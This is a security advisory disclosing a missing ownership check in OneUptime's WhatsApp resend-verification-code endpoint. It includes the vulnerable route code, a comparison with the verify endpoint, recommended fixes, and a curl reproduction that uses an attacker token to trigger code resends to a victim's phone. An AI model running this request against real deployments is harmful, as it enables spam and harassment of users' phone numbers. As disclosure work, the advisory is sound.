GHSA-cw6x-mw64-q6pv

Description

The resend-verification-code endpoint allows any authenticated user to trigger a verification code resend for any UserWhatsApp record by ID. Ownership is not validated (unlike the verify endpoint).

Affected Source

• Endpoint: UserWhatsAppAPI.ts
• Service: UserWhatsAppService.ts
• Verify ownership (present in verify endpoint for comparison): UserWhatsAppAPI.ts

Full Code Lines (UserWhatsAppAPI.ts)

Resend path (authorization gap):

    this.router.post(
      `${new this.entityType()
        .getCrudApiPath()
        ?.toString()}/resend-verification-code`,
      UserMiddleware.getUserMiddleware,
      async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => {
        try {
          req = req as OneUptimeRequest;

          if (!req.body.itemId) {
            return Response.sendErrorResponse(
              req,
              res,
              new BadDataException("Invalid item ID"),
            );
          }

          await this.service.resendVerificationCode(req.body.itemId);

          return Response.sendEmptySuccessResponse(req, res);
        } catch (err) {
          return next(err);
        }
      },
    );

Verify path (ownership check present):

          if (
            item.userId?.toString() !==
            (req as OneUptimeRequest)?.userAuthorization?.userId?.toString()
          ) {
            return Response.sendErrorResponse(
              req,
              res,
              new BadDataException("Invalid user ID"),
            );
          }

Prerequisites

• Valid attacker account with access to a project
• Attacker access token
• A victim’s UserWhatsApp itemId belonging to the same project

Steps to Reproduce

1. Set your attacker token:

   export ATK="Bearer <attacker-access-token>"
   

2. Trigger resend for the victim’s item:

   curl -s -X POST \
     -H "Content-Type: application/json" \
     -H "Authorization: $ATK" \
     -d '{"itemId":"<victim-userwhatsapp-id>"}' \
     http://<host>/api/user-whats-app/resend-verification-code
   

Expected/Observed Behavior

• HTTP 200 with {} body and a new verification code sent to the victim’s phone
• No checks confirm that item.userId equals the authenticated user’s ID for the resend path

Impact

• Spam/DoS against victims’ phone numbers, social engineering pressure, and potential lockout flows due to repeated resends

Recommended Fix

• Enforce ownership: item.userId must match the authenticated user
• Add per-item and per-user rate limiting for resends